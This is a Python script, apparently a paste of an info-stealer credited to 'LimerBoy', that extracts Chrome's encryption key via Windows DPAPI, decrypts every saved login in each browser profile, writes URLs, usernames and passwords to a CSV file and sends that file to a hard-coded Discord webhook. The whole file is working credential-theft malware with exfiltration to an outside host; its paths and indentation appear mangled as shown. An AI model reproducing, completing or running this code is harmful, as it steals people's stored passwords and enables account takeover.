Notes

#Full Credits to LimerBoy
import os
import re
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv
import requests

#GLOBAL CONSTANT
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%sAppDataLocalGoogleChromeUser DataLocal State"%(os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%sAppDataLocalGoogleChromeUser Data"%(os.environ['USERPROFILE']))
WEBHOOK ='https://discord.com/api/webhooks/1141474165069717654/redItQnBc2ywZBox2CuddPy5FGL9aSAAKJA8Kmk1WB7iRN0bnvie2GKuGLaanI7NJ6b4'


def send_to_discord(file_path):
with open(file_path, "r") as file: # Change mode to 'r' for text file
content = file.read() # Read the content of the file
payload = {"content": "Here is the file content:", "file": content}
print(payload)
response = requests.post(WEBHOOK, data=payload)

if response.status_code == 200:
print("File sent successfully to Discord!")
else:
print("Failed to send file to Discord. Status code:", response.status_code)


def get_secret_key():
try:
#(1) Get secretkey from chrome local state
with open( CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
#Remove suffix DPAPI
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome secretkey cannot be found")
return None

def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
try:
#(3-a) Initialisation vector for AES decryption
initialisation_vector = ciphertext[3:15]
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
#Encrypted password is 192 bits
encrypted_password = ciphertext[15:-16]
#(4) Build the cipher to decrypt the ciphertext
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""

def get_db_connection(chrome_path_login_db):
try:
print(chrome_path_login_db)
shutil.copy2(chrome_path_login_db, "Loginvault.db")
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None

if __name__ == '__main__':
try:
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
csv_writer.writerow(["index","url","username","password"])
#(1) Get secret key
secret_key = get_secret_key()
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
for folder in folders:
#(2) Get ciphertext from sqlite database
chrome_path_login_db = os.path.normpath(r"%s%sLogin Data"%(CHROME_PATH,folder))
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
#(3) Filter the initialisation vector & encrypted password from ciphertext
#(4) Use AES algorithm to decrypt the password
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %snUser Name: %snPassword: %sn"%(url,username,decrypted_password))
print("*"*50)
#(5) Save into CSV
csv_writer.writerow([index,url,username,decrypted_password])
#Close database connection
cursor.close()
conn.close()
#Delete temp login db
os.remove("Loginvault.db")
send_to_discord('decrypted_password.csv')
except Exception as e:
print("[ERR] %s"%str(e))